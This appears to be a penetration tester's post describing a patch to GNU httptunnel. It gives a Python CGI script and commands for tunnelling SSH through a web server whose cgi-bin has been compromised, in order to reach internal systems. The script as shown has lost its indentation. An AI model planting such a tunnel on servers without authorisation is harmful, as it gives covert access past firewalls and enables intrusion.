I wrote this patch for
GNU httptunnel 3.0.5.
this adds the following functions:
- HTTP Basic Authentication: Allows to authenticate against a firewall or a
Web server
- CGI options: For the client
htc, a new option to enable the
definition of a cgi-script URI. For the server hts enable the
option not to send the HTTP return code (which must be sent only by the web
server).
I wrote this initially to do a proof of concept in a penetration testing I
did previously: if you can find a way to write to the cgi-bin
folder of a vulnerable web server, you can then use this version of httptunnel
to encapsulate any flows like the ssh protocol and rebound on other systems
that can be accessed from the vulnerable webserver.
The server hts cannot be called directly by the web server
because it must ensure input-outputs persistence. The idea is to use a small
cgi which makes the interface between hts and the web server. I
wrote a small script in python which makes this job but it is simple to do one
in C:
#!/usr/bin/env python
# tun.py : cgi tunnel to httptunnel
# David ROBERT david@ombrepixel.com
import socket, string
import os, sys
# host where hts live
host="localhost"
# hts listen port
port=8888
stdin=sys.stdin
stdout=sys.stdout
def log(texte):
f=open("/tmp/log","a")
f.write(texte + "\n")
f.close()
def processGet():
# GET processing
data = """GET /index.html HTTP/1.1
Host: %s
Connection: close""" % os.environ.get("HTTP_HOST")
# Send headers
for line in string.split(data,"\n"):
sock.send(line+"\r\n")
sock.send("\r\n")
#log("Lignes envoyees")
# Receive flow
while 1:
v=sock.recv(8192)
if not v: break
stdout.write(v)
#log("recu : %s" % v)
stdout.flush()
def processPost():
# POST processing
data = """POST /index.html HTTP/1.1
Host: %s
Content-Length: 102400
Connection: close""" % os.environ.get("HTTP_HOST")
# Send headers
for line in string.split(data,"\n"):
sock.send(line+"\r\n")
sock.send("\r\n")
# Send flow
while 1:
v = stdin.read(1) # Ecriture
if len(v) == 0: break
#log("lu : %s" % v)
sock.send(v)
# __main__
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
if os.environ.get("REQUEST_METHOD") == "GET":
processGet()
elif os.environ.get("REQUEST_METHOD") == "POST":
processPost()
else:
print "Boum"
# Fin
sock.close()
sys.exit(0)
How does it work ?
- On the server, copy
tun.py in the cgi-bin folder.
Start hts in cgi mode (-C or --cgi),
listen to port 8888 and forward connexions to local port ssh (22):
hts -C -F localhost:22 8888
- On the client, start
htc in cgi mode provinding URI to
tun.py (-C URI or --cgi URI). In the
following example webserver must be the name of the web server (IP address
resolution must be possible). This name is also used in the HTTP headers sent
by htc and makes it possible to select different virtual hosts.
htc -C "/cgi-bin/tun.py" -F 2222 webserver:80
- If authentication (only HTTP Basic) is required to reach the cgi script,
you can specify
login:password on the htc command
line:
htc -C "/cgi-bin/tun.py" -a david:noway -F 2222
webserver:80